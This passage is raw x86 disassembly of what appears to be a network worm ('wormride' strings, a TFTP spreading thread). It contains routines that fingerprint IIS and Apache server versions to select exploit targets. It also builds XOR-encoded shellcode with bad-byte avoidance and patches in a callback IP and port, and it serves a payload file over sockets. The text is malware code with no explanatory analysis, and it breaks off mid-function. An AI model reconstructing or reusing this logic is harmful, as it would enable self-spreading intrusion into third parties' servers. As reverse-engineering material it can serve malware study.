jb short loc_40E20D
mov edi, [ebp+var_20]
push edi
push offset dword_419EB0
call sub_407227
pop ecx
cmp eax, edi
pop ecx
jz short loc_40E20D
push 1
push offset dword_419EB4
call sub_407216
pop ecx
mov edi, eax
pop ecx
push 10h
push [ebp+var_20]
call dword_412230 ; inet_ntoa
push eax
lea eax, [ebp+var_4C]
push eax
call sub_4059C2
add esp, 0Ch
lea eax, [ebp+var_4C]
inc edi
push eax
push edi
push offset aWormride ; "wormride"
push offset unk_417850
push offset dword_418E50
call sub_409659
add esp, 14h
jmp short loc_40E20D
; ---------------------------------------------------------------------------
loc_40E1F9: ; CODE XREF: sub_40DE9A+1AFj
; sub_40DE9A+264j
push [ebp+var_8]
lea eax, [ebp+var_24]
push eax
push ebx
push 9
push offset dword_417844
loc_40E208: ; CODE XREF: sub_40DE9A+203j
; sub_40DE9A+258j
push [ebp+var_4]
call esi ; sendto
loc_40E20D: ; CODE XREF: sub_40DE9A+158j
; sub_40DE9A+2FAj ...
mov eax, [ebp+var_478]
cmp [eax+4], ebx
jz loc_40DFC4
push [ebp+arg_0]
call sub_411500 ; fclose
pop ecx
push [ebp+var_4]
loc_40E228: ; CODE XREF: sub_40DE9A+D2j
call dword_412240 ; closesocket
loc_40E22E: ; CODE XREF: sub_40DE9A+41j
; sub_40DE9A+B3j
push [ebp+var_478]
call sub_406E6F
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_40DE9A endp
; =============== S U B R O U T I N E =======================================
sub_40E243 proc near ; CODE XREF: sub_407A76+49Bp
; sub_407A76+4B1p
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40E286
push edi
mov edi, [esp+8+arg_0]
lea eax, [esi+4]
push edi
push eax
call sub_40457C
xor eax, eax
pop ecx
cmp [edi+18Bh], al
pop ecx
push offset aTftpWormrideTh ; "TFTP wormride thread"
setz al
push eax
push esi
push offset sub_40DE9A
call sub_406D58
add esp, 10h
pop edi
loc_40E286: ; CODE XREF: sub_40E243+10j
pop esi
retn
sub_40E243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E288 proc near ; CODE XREF: sub_40E399+62p
; sub_40E399+84p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
xor edx, edx
push esi
cmp [ebp+arg_4], edx
jbe short loc_40E2B7
loc_40E293: ; CODE XREF: sub_40E288+2Dj
xor ecx, ecx
cmp [ebp+arg_C], ecx
jbe short loc_40E2B1
mov eax, [ebp+arg_0]
mov al, [edx+eax]
xor al, [ebp+arg_10]
loc_40E2A3: ; CODE XREF: sub_40E288+27j
mov esi, [ebp+arg_8]
cmp al, [ecx+esi]
jz short loc_40E2BC
inc ecx
cmp ecx, [ebp+arg_C]
jb short loc_40E2A3
loc_40E2B1: ; CODE XREF: sub_40E288+10j
inc edx
cmp edx, [ebp+arg_4]
jb short loc_40E293
loc_40E2B7: ; CODE XREF: sub_40E288+9j
xor eax, eax
loc_40E2B9: ; CODE XREF: sub_40E288+37j
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40E2BC: ; CODE XREF: sub_40E288+21j
push 1
pop eax
jmp short loc_40E2B9
sub_40E288 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E2C1 proc near ; CODE XREF: sub_40CAA1+36p
; sub_40CEBE+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
cmp [ebp+arg_8], 1
push ebx
push esi
push edi
jnz short loc_40E2FA
mov eax, 0B2h
cmp [ebp+arg_4], eax
jb short loc_40E337
mov esi, [ebp+arg_0]
push eax
push offset dword_417A84
push esi
mov [ebp+arg_4], eax
call sub_4114D0 ; memcpy
add esp, 0Ch
lea ebx, [esi+8Fh]
lea edi, [esi+88h]
jmp short loc_40E35C
; ---------------------------------------------------------------------------
loc_40E2FA: ; CODE XREF: sub_40E2C1+Aj
cmp [ebp+arg_8], 2
jnz short loc_40E32D
mov eax, 0C6h
cmp [ebp+arg_4], eax
jb short loc_40E337
mov esi, [ebp+arg_0]
push eax
push offset dword_4179BC
push esi
mov [ebp+arg_4], eax
call sub_4114D0 ; memcpy
add esp, 0Ch
lea edi, [esi+89h]
add esi, 0C0h
jmp short loc_40E371
; ---------------------------------------------------------------------------
loc_40E32D: ; CODE XREF: sub_40E2C1+3Dj
mov eax, 0B2h
cmp [ebp+arg_4], eax
jnb short loc_40E33B
loc_40E337: ; CODE XREF: sub_40E2C1+14j
; sub_40E2C1+47j
xor eax, eax
jmp short loc_40E394
; ---------------------------------------------------------------------------
loc_40E33B: ; CODE XREF: sub_40E2C1+74j
mov esi, [ebp+arg_0]
push eax
push offset dword_417908
push esi
mov [ebp+arg_4], eax
call sub_4114D0 ; memcpy
add esp, 0Ch
lea ebx, [esi+86h]
lea edi, [esi+8Dh]
loc_40E35C: ; CODE XREF: sub_40E2C1+37j
add esi, 0ACh
test ebx, ebx
jz short loc_40E371
push [ebp+arg_C]
call dword_412254 ; inet_addr
mov [ebx], eax
loc_40E371: ; CODE XREF: sub_40E2C1+6Aj
; sub_40E2C1+A3j
test edi, edi
jz short loc_40E388
push [ebp+arg_10]
call sub_41151C ; atoi
pop ecx
push eax
call dword_412248 ; htons
mov [edi], ax
loc_40E388: ; CODE XREF: sub_40E2C1+B2j
test esi, esi
jz short loc_40E391
mov eax, [ebp+arg_14]
mov [esi], eax
loc_40E391: ; CODE XREF: sub_40E2C1+C9j
mov eax, [ebp+arg_4]
loc_40E394: ; CODE XREF: sub_40E2C1+78j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40E2C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E399 proc near ; CODE XREF: .packed:0040B80Dp
; sub_40BAAF+3Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 1Ch
push esi
push edi
jb short loc_40E3CE
push [ebp+arg_14]
mov esi, [ebp+arg_0]
push [ebp+arg_10]
lea eax, [esi+1Ch]
mov [ebp+var_4], eax
push [ebp+arg_C]
push [ebp+arg_8]
push 1E4h
push eax
call sub_40E2C1
mov edi, eax
add esp, 18h
test edi, edi
jnz short loc_40E3D5
loc_40E3CE: ; CODE XREF: sub_40E399+Aj
xor eax, eax
jmp loc_40E492
; ---------------------------------------------------------------------------
loc_40E3D5: ; CODE XREF: sub_40E399+33j
push 1Ch
push offset loc_4178E8
push esi
call sub_4114D0 ; memcpy
mov eax, dword_417CB8
add esp, 0Ch
mov [ebp+arg_4], eax
loc_40E3ED: ; CODE XREF: sub_40E399+9Dj
push 0
lea eax, [ebp+arg_4]
push [ebp+arg_1C]
push [ebp+arg_18]
push 4
push eax
call sub_40E288
add esp, 14h
test eax, eax
jnz short loc_40E429
mov eax, [ebp+arg_4]
push 0
push [ebp+arg_1C]
xor eax, edi
mov [ebp+arg_14], eax
lea eax, [ebp+arg_14]
push [ebp+arg_18]
push 4
push eax
call sub_40E288
add esp, 14h
test eax, eax
jz short loc_40E438
loc_40E429: ; CODE XREF: sub_40E399+6Cj
call sub_40B480
mov [ebp+arg_4], eax
mov dword_417CB8, eax
jmp short loc_40E3ED
; ---------------------------------------------------------------------------
loc_40E438: ; CODE XREF: sub_40E399+8Ej
mov eax, [ebp+arg_4]
push ebx
mov [esi+3], eax
mov eax, [ebp+arg_14]
mov [esi+9], eax
mov bl, byte_417CB5
mov byte ptr [ebp+arg_0], bl
loc_40E44E: ; CODE XREF: sub_40E399+DEj
push [ebp+arg_0]
push [ebp+arg_1C]
push [ebp+arg_18]
push edi
push [ebp+var_4]
call sub_40E288
add esp, 14h
test eax, eax
jz short loc_40E479
call sub_40B4AB
mov bl, al
mov byte ptr [ebp+arg_0], bl
mov byte_417CB5, bl
jmp short loc_40E44E
; ---------------------------------------------------------------------------
loc_40E479: ; CODE XREF: sub_40E399+CCj
xor eax, eax
mov [esi+12h], bl
test edi, edi
jbe short loc_40E48E
loc_40E482: ; CODE XREF: sub_40E399+F3j
mov ecx, [ebp+var_4]
add ecx, eax
xor [ecx], bl
inc eax
cmp eax, edi
jb short loc_40E482
loc_40E48E: ; CODE XREF: sub_40E399+E7j
lea eax, [edi+1Ch]
pop ebx
loc_40E492: ; CODE XREF: sub_40E399+37j
pop edi
pop esi
leave
retn
sub_40E399 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E496 proc near ; CODE XREF: sub_40E707+Fp
; sub_40E829+51p ...
var_18C = byte ptr -18Ch
var_E4 = byte ptr -0E4h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18Ch
push esi
push edi
push 8
push 4
call sub_40B459
push 7Ah
push 61h
mov edi, eax
call sub_40B459
add esp, 10h
mov [ebp+var_10], al
push 1
pop esi
cmp edi, esi
jz short loc_40E4D6
loc_40E4C2: ; CODE XREF: sub_40E496+3Ej
push 7Ah
push 61h
call sub_40B459
mov [ebp+esi+var_10], al
inc esi
pop ecx
cmp esi, edi
pop ecx
jnz short loc_40E4C2
loc_40E4D6: ; CODE XREF: sub_40E496+2Aj
lea eax, [ebp+esi+var_10]
push offset dword_413620
push eax
call sub_4114B8 ; _mbscpy
mov esi, 17Ch
lea eax, [ebp+var_18C]
push esi
push offset dword_417B38
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_18C]
push esi
push eax
push [ebp+arg_0]
call sub_403D9D
add esp, 28h
pop edi
pop esi
leave
retn
sub_40E496 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E523 proc near ; CODE XREF: sub_40E707+EAp
; sub_40E829+75p ...
var_240 = byte ptr -240h
var_40 = byte ptr -40h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
push edi
xor edi, edi
cmp dword_419EBC, edi
push 1
pop ebx
jnz short loc_40E5AE
cmp off_418E20, edi
mov dword_419EBC, ebx
jz short loc_40E5AE
mov eax, offset off_418E20
xor esi, esi
loc_40E551: ; CODE XREF: sub_40E523+81j
push 20h
push dword ptr [eax]
lea eax, [ebp+var_20]
push eax
call sub_4059C2
push 20h
lea eax, [ebp+var_40]
push off_417CC0[esi]
push eax
call sub_4059C2
lea eax, [ebp+var_20]
push eax
call sub_40B5A8
lea eax, [ebp+var_40]
push eax
call sub_40B5A8
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_20]
push eax
call sub_41177E ; strcmp
add esp, 28h
test eax, eax
jnz short loc_40E5A8
add esi, 0Ch
cmp off_418E20[esi], edi
lea eax, off_418E20[esi]
jnz short loc_40E551
jmp short loc_40E5AE
; ---------------------------------------------------------------------------
loc_40E5A8: ; CODE XREF: sub_40E523+70j
mov dword_419EC0, ebx
loc_40E5AE: ; CODE XREF: sub_40E523+17j
; sub_40E523+25j ...
cmp dword_419EC0, edi
jnz short loc_40E613
push offset aRb ; "rb"
push offset dword_419FE0
call sub_411506 ; fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40E615
mov esi, 200h
push edi
push esi
lea eax, [ebp+var_240]
push ebx
push eax
call sub_411510 ; fread
add esp, 10h
loc_40E5E4: ; CODE XREF: sub_40E523+E7j
test eax, eax
jz short loc_40E60C
push eax
lea eax, [ebp+var_240]
push eax
push [ebp+arg_0]
call sub_403D9D
push edi
push esi
lea eax, [ebp+var_240]
push ebx
push eax
call sub_411510 ; fread
add esp, 1Ch
jmp short loc_40E5E4
; ---------------------------------------------------------------------------
loc_40E60C: ; CODE XREF: sub_40E523+C3j
push edi
call sub_411500 ; fclose
pop ecx
loc_40E613: ; CODE XREF: sub_40E523+91j
mov eax, ebx
loc_40E615: ; CODE XREF: sub_40E523+A8j
pop edi
pop esi
pop ebx
leave
retn
sub_40E523 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E61A proc near ; CODE XREF: sub_40E829+57p
; sub_40E8E1+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push 0EA60h
push [ebp+arg_0]
call sub_403E1F
pop ecx
test eax, eax
pop ecx
jnz short loc_40E637
leave
retn
; ---------------------------------------------------------------------------
loc_40E637: ; CODE XREF: sub_40E61A+19j
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_412258 ; recv
mov eax, [ebp+var_4]
leave
retn
sub_40E61A endp
; =============== S U B R O U T I N E =======================================
sub_40E64D proc near ; CODE XREF: sub_40E829+67p
; sub_40E8E1+22p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
xor edi, edi
xor eax, eax
cmp off_417DC6, edi
jz short loc_40E69C
mov ecx, offset off_417DC6
loc_40E65F: ; CODE XREF: sub_40E64D+21j
mov edx, [ecx-8]
cmp edx, [esp+4+arg_0]
jz short loc_40E672
add ecx, 3Ah
inc eax
cmp [ecx], edi
jnz short loc_40E65F
jmp short loc_40E69C
; ---------------------------------------------------------------------------
loc_40E672: ; CODE XREF: sub_40E64D+19j
imul eax, 3Ah
push esi
mov esi, [esp+8+arg_4]
lea edi, dword_417D98[eax]
push 3Ah
push edi
push esi
call sub_4114D0 ; memcpy
push esi
call sub_40B5E1
add esi, 13h
push esi
call sub_40B5E1
add esp, 14h
pop esi
loc_40E69C: ; CODE XREF: sub_40E64D+Bj
; sub_40E64D+23j
mov eax, edi
pop edi
retn
sub_40E64D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E6A0 proc near ; CODE XREF: sub_40E707+103p
; sub_40E829+8Ap ...
var_100 = byte ptr -100h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 100h
mov eax, [ebp+arg_0]
push esi
add eax, 2Ah
push 1
push eax
call sub_407216
mov esi, eax
lea eax, [ebp+var_100]
push eax
push [ebp+arg_8]
call sub_4034DE
add esp, 10h
test eax, eax
jnz short loc_40E6E3
lea eax, [ebp+var_100]
push offset aUnknown ; "unknown"
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_40E6E3: ; CODE XREF: sub_40E6A0+2Ej
lea eax, [ebp+var_100]
inc esi
push eax
push esi
push [ebp+arg_C]
push [ebp+arg_4]
push offset unk_4151D8
push offset dword_418E50
call sub_409659
add esp, 18h
pop esi
leave
retn
sub_40E6A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E707 proc near ; CODE XREF: sub_40ECD6+119p
var_244 = dword ptr -244h
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_1A = dword ptr -1Ah
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 244h
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_40E496
push 3Ah
lea eax, [ebp+var_40]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_40]
push eax
call sub_40B5E1
lea eax, [ebp+var_2D]
push eax
call sub_40B5E1
mov edi, 203h
lea eax, [ebp+var_244]
push edi
push 0
push eax
call sub_4114E8 ; memset
add esp, 24h
and [ebp+var_4], 0
mov ebx, 3E8h
mov esi, 200h
loc_40E760: ; CODE XREF: sub_40E707+DFj
push ebx
push [ebp+arg_4]
call sub_403E1F
pop ecx
test eax, eax
pop ecx
jz short loc_40E7DF
lea eax, [ebp+var_244+3]
push esi
push eax
push [ebp+arg_4]
call sub_403DB2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_40E824
xor ecx, ecx
cmp eax, ecx
jz short loc_40E7CE
jbe short loc_40E7A4
loc_40E793: ; CODE XREF: sub_40E707+9Bj
mov edx, [ebp+ecx+var_244]
cmp edx, [ebp+var_1A]
jz short loc_40E7EE
inc ecx
cmp ecx, eax
jb short loc_40E793
loc_40E7A4: ; CODE XREF: sub_40E707+8Aj
lea eax, [ebp+eax+var_244]
push 3
push eax
lea eax, [ebp+var_244]
push eax
call sub_4114D0 ; memcpy
push esi
lea eax, [ebp+var_244+3]
push 0
push eax
call sub_4114E8 ; memset
add esp, 18h
jmp short loc_40E7DF
; ---------------------------------------------------------------------------
loc_40E7CE: ; CODE XREF: sub_40E707+88j
push edi
lea eax, [ebp+var_244]
push ecx
push eax
call sub_4114E8 ; memset
add esp, 0Ch
loc_40E7DF: ; CODE XREF: sub_40E707+66j
; sub_40E707+C5j
inc [ebp+var_4]
cmp [ebp+var_4], 3Ch
jnz loc_40E760
jmp short loc_40E824
; ---------------------------------------------------------------------------
loc_40E7EE: ; CODE XREF: sub_40E707+96j
push [ebp+arg_4]
call sub_40E523
test eax, eax
pop ecx
jz short loc_40E824
push offset dword_417D2C
lea eax, [ebp+var_40]
push [ebp+arg_4]
push eax
push [ebp+arg_0]
call sub_40E6A0
add esp, 10h
push 1
push [ebp+arg_4]
call dword_412210 ; shutdown
push ebx
call dword_4120A4 ; Sleep
loc_40E824: ; CODE XREF: sub_40E707+7Ej
; sub_40E707+E5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40E707 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E829 proc near ; CODE XREF: sub_40ECD6+134p
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_44 = byte ptr -44h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 848h
push ebx
push esi
push edi
xor edi, edi
push edi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403B44
add esp, 0Ch
mov esi, eax
lea eax, [ebp+var_8]
mov [ebp+var_8], 3Ch
push 1
mov [ebp+var_4], edi
pop ebx
mov [ebp+var_844], esi
push eax
lea eax, [ebp+var_848]
push edi
push eax
push edi
push edi
mov [ebp+var_848], ebx
call dword_412214 ; select
cmp eax, ebx
push esi
jnz short loc_40E8D0
call sub_40E496
push esi
call sub_40E61A
pop ecx
cmp eax, edi
pop ecx
jz short loc_40E8CF
lea ecx, [ebp+var_44]
push ecx
push eax
call sub_40E64D
pop ecx
mov ebx, eax
pop ecx
cmp ebx, edi
push esi
jz short loc_40E8D0
call sub_40E523
test eax, eax
pop ecx
jz short loc_40E8CF
push offset dword_417D30
lea eax, [ebp+var_44]
push esi
push eax
push ebx
call sub_40E6A0
add esp, 10h
push 1
push esi
call dword_412210 ; shutdown
push 3E8h
call dword_4120A4 ; Sleep
loc_40E8CF: ; CODE XREF: sub_40E829+60j
; sub_40E829+7Dj
push esi
loc_40E8D0: ; CODE XREF: sub_40E829+4Fj
; sub_40E829+73j
call sub_403D92
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40E829 endp
; =============== S U B R O U T I N E =======================================
sub_40E8DB proc near ; CODE XREF: sub_40ECD6:loc_40EDAAp
mov eax, offset dword_419EC4
retn
sub_40E8DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8E1 proc near ; DATA XREF: sub_40E951+AAo
var_3C = byte ptr -3Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3Ch
push esi
mov esi, [ebp+arg_0]
push edi
push esi
call sub_40E496
push esi
call sub_40E61A
pop ecx
test eax, eax
pop ecx
jz short loc_40E942
lea ecx, [ebp+var_3C]
push ecx
push eax
call sub_40E64D
pop ecx
mov edi, eax
pop ecx
test edi, edi
push esi
jz short loc_40E943
call sub_40E523
test eax, eax
pop ecx
jz short loc_40E942
push offset dword_417D34
lea eax, [ebp+var_3C]
push esi
push eax
push edi
call sub_40E6A0
add esp, 10h
push 1
push esi
call dword_412210 ; shutdown
push 3E8h
call dword_4120A4 ; Sleep
loc_40E942: ; CODE XREF: sub_40E8E1+1Bj
; sub_40E8E1+38j
push esi
loc_40E943: ; CODE XREF: sub_40E8E1+2Ej
call sub_403D92
pop ecx
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40E8E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E951 proc near ; DATA XREF: sub_40EA2F+83o
var_1B0 = dword ptr -1B0h
var_1AC = byte ptr -1ACh
var_1A6 = byte ptr -1A6h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push edi
push 1ADh
push [ebp+arg_0]
lea eax, [ebp+var_1B0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_1AC]
push 1
push eax
call sub_403644
mov edi, eax
add esp, 18h
test edi, edi
jnz short loc_40E9A1
push [ebp+var_1B0]
call sub_406E6F
pop ecx
xor eax, eax
jmp loc_40EA2A
; ---------------------------------------------------------------------------
loc_40E9A1: ; CODE XREF: sub_40E951+3Bj
lea eax, [ebp+var_1AC]
push esi
push eax
mov eax, [ebp+var_1B0]
push dword ptr [eax]
lea eax, [ebp+var_1A6]
push offset dword_417D38
push eax
call sub_4096CB
lea eax, [ebp+var_1AC]
push eax
push offset dword_419EC4
call sub_4114B8 ; _mbscpy
add esp, 18h
loc_40E9D6: ; CODE XREF: sub_40E951+A3j
; sub_40E951+B8j ...
mov eax, [ebp+var_1B0]
cmp dword ptr [eax+4], 0
jnz short loc_40EA14
push 3E8h
push edi
call sub_403767
mov esi, eax
pop ecx
cmp esi, 0FFFFFFFFh
pop ecx
jz short loc_40E9D6
test esi, esi
jz short loc_40EA14
push esi
push offset sub_40E8E1
call sub_406C5D
pop ecx
test eax, eax
pop ecx
jnz short loc_40E9D6
push esi
call sub_403D92
pop ecx
jmp short loc_40E9D6
; ---------------------------------------------------------------------------
loc_40EA14: ; CODE XREF: sub_40E951+8Fj
; sub_40E951+A7j
push edi
call sub_40392A
push [ebp+var_1B0]
call sub_406E6F
pop ecx
xor eax, eax
pop ecx
pop esi
loc_40EA2A: ; CODE XREF: sub_40E951+4Bj
pop edi
leave
retn 4
sub_40E951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA2F proc near ; CODE XREF: sub_407A76+97Ep
; sub_40EE23+1FBp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push 1ADh
call sub_4114C4 ; malloc
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short locret_40EAC2
cmp [ebp+arg_4], 0
push ebx
push esi
push edi
mov esi, 0FFFFh
mov ebx, 401h
jz short loc_40EA62
push [ebp+arg_4]
call sub_41151C ; atoi
jmp short loc_40EA6A
; ---------------------------------------------------------------------------
loc_40EA62: ; CODE XREF: sub_40EA2F+27j
push esi
push ebx
call sub_40B459
pop ecx
loc_40EA6A: ; CODE XREF: sub_40EA2F+31j
mov edi, eax
pop ecx
test edi, edi
jz short loc_40EA75
cmp edi, esi
jbe short loc_40EA80
loc_40EA75: ; CODE XREF: sub_40EA2F+40j
push esi
push ebx
call sub_40B459
pop ecx
mov edi, eax
pop ecx
loc_40EA80: ; CODE XREF: sub_40EA2F+44j
mov esi, [ebp+var_4]
push 0Ah
lea eax, [esi+4]
push eax
push edi
call sub_41192A ; _itoa
mov ebx, [ebp+arg_0]
lea eax, [esi+0Ah]
push ebx
push eax
call sub_40457C
xor eax, eax
add esp, 14h
cmp [ebx+18Bh], al
push edi
push offset dword_417D70
setz al
push eax
push esi
push offset sub_40E951
call sub_406D58
add esp, 14h
pop edi
pop esi
pop ebx
locret_40EAC2: ; CODE XREF: sub_40EA2F+14j
leave
retn
sub_40EA2F endp
; =============== S U B R O U T I N E =======================================
sub_40EAC4 proc near ; CODE XREF: sub_4111E8+C7p
push ebx
xor ebx, ebx
cmp off_417DC6, ebx
jz short loc_40EB14
push esi
mov esi, offset off_417DC6
loc_40EAD5: ; CODE XREF: sub_40EAC4+4Dj
mov eax, [esi-8]
and eax, 0FFh
sub [esi], eax
and dword ptr [esi-4], 0
loc_40EAE3: ; CODE XREF: sub_40EAC4+29j
; sub_40EAC4+3Ej
call sub_40B480
test eax, eax
mov [esi-8], eax
jz short loc_40EAE3
xor edx, edx
mov ecx, offset word_417DBE
loc_40EAF6: ; CODE XREF: sub_40EAC4+44j
cmp dword ptr [ecx+8], 0
jz short loc_40EB0A
cmp ebx, edx
jz short loc_40EB04
cmp eax, [ecx]
jz short loc_40EAE3
loc_40EB04: ; CODE XREF: sub_40EAC4+3Aj
inc edx
add ecx, 3Ah
jmp short loc_40EAF6
; ---------------------------------------------------------------------------
loc_40EB0A: ; CODE XREF: sub_40EAC4+36j
add esi, 3Ah
inc ebx
cmp dword ptr [esi], 0
jnz short loc_40EAD5
pop esi
loc_40EB14: ; CODE XREF: sub_40EAC4+9j
pop ebx
retn
sub_40EAC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB16 proc near ; CODE XREF: sub_40ECD6+6Ap
var_808 = byte ptr -808h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 808h
push ebx
push esi
push edi
push 16h
push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
push [ebp+arg_0]
call sub_403D9D
push 0EA60h
push [ebp+arg_0]
call sub_403E1F
add esp, 14h
test eax, eax
jz loc_40ECCF
xor ebx, ebx
mov esi, 800h
push ebx
lea eax, [ebp+var_808]
push esi
push eax
push [ebp+arg_0]
call dword_412258 ; recv
cmp eax, ebx
jz loc_40ECCF
cmp eax, 0FFFFFFFFh
jz loc_40ECCF
cmp eax, esi
jz loc_40ECCF
mov [ebp+eax+var_808], bl
lea eax, [ebp+var_808]
push offset aServer ; "Server:"
push eax
mov [ebp+var_8], ebx
call sub_411528 ; strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_40ECCF
lea ecx, [ebp+var_8]
mov esi, offset dword_413F54
push ecx
push esi
push eax
call sub_405E4F
add esp, 0Ch
test eax, eax
jz loc_40ECCF
lea eax, [ebp+var_8]
push eax
push esi
push ebx
call sub_405E4F
mov edi, eax
add esp, 0Ch
cmp edi, ebx
jz loc_40ECCF
lea eax, [ebp+var_8]
push eax
push esi
push ebx
call sub_405E4F
push 0Dh
push offset aMicrosoftIis ; "Microsoft-IIS"
push edi
mov [ebp+arg_0], eax
call sub_411930 ; _strnicmp
add esp, 18h
test eax, eax
jnz short loc_40EC58
lea eax, [ebp+arg_0]
mov [ebp+var_4], ebx
push eax
lea eax, [ebp+var_4]
push eax
push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
push edi
mov [ebp+arg_0], ebx
call sub_411522 ; sscanf
add esp, 10h
push 4
pop eax
cmp [ebp+var_4], eax
jnz short loc_40EC27
cmp [ebp+arg_0], ebx
jnz loc_40ECCF
jmp loc_40ECD1
; ---------------------------------------------------------------------------
loc_40EC27: ; CODE XREF: sub_40EB16+101j
cmp [ebp+var_4], 5
jnz short loc_40EC44
cmp [ebp+arg_0], ebx
jnz short loc_40EC36
push 3
jmp short loc_40EC55
; ---------------------------------------------------------------------------
loc_40EC36: ; CODE XREF: sub_40EB16+11Aj
cmp [ebp+arg_0], 5
jnz loc_40ECCF
push 2
jmp short loc_40EC55
; ---------------------------------------------------------------------------
loc_40EC44: ; CODE XREF: sub_40EB16+115j
cmp [ebp+var_4], 6
jnz loc_40ECCF
cmp [ebp+arg_0], ebx
jnz short loc_40ECCF
push 1
loc_40EC55: ; CODE XREF: sub_40EB16+11Ej
; sub_40EB16+12Cj
pop eax
jmp short loc_40ECD1
; ---------------------------------------------------------------------------
loc_40EC58: ; CODE XREF: sub_40EB16+DDj
cmp [ebp+arg_0], ebx
jz short loc_40ECCF
push 6
push offset aApache ; "Apache"
push edi
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40ECCF
lea eax, [ebp+var_4]
mov [ebp+var_4], ebx
push eax
push offset dword_418148
push edi
call sub_411522 ; sscanf
push 6
push offset dword_418140
push [ebp+arg_0]
call sub_411930 ; _strnicmp
mov esi, eax
add esp, 18h
neg esi
sbb esi, esi
inc esi
cmp esi, 1
jnz short loc_40ECB7
push 7
push offset dword_418138
push [ebp+arg_0]
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40ECCF
loc_40ECB7: ; CODE XREF: sub_40EB16+189j
cmp [ebp+var_4], 1
jz short loc_40ECC3
cmp [ebp+var_4], 2
jnz short loc_40ECCF
loc_40ECC3: ; CODE XREF: sub_40EB16+1A5j
xor eax, eax
cmp esi, ebx
setnz al
add eax, 5
jmp short loc_40ECD1
; ---------------------------------------------------------------------------
loc_40ECCF: ; CODE XREF: sub_40EB16+2Dj
; sub_40EB16+4Ej ...
xor eax, eax
loc_40ECD1: ; CODE XREF: sub_40EB16+10Cj
; sub_40EB16+140j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40EB16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECD6 proc near ; DATA XREF: sub_40EE23+3B3o
; sub_40F461+1C2o
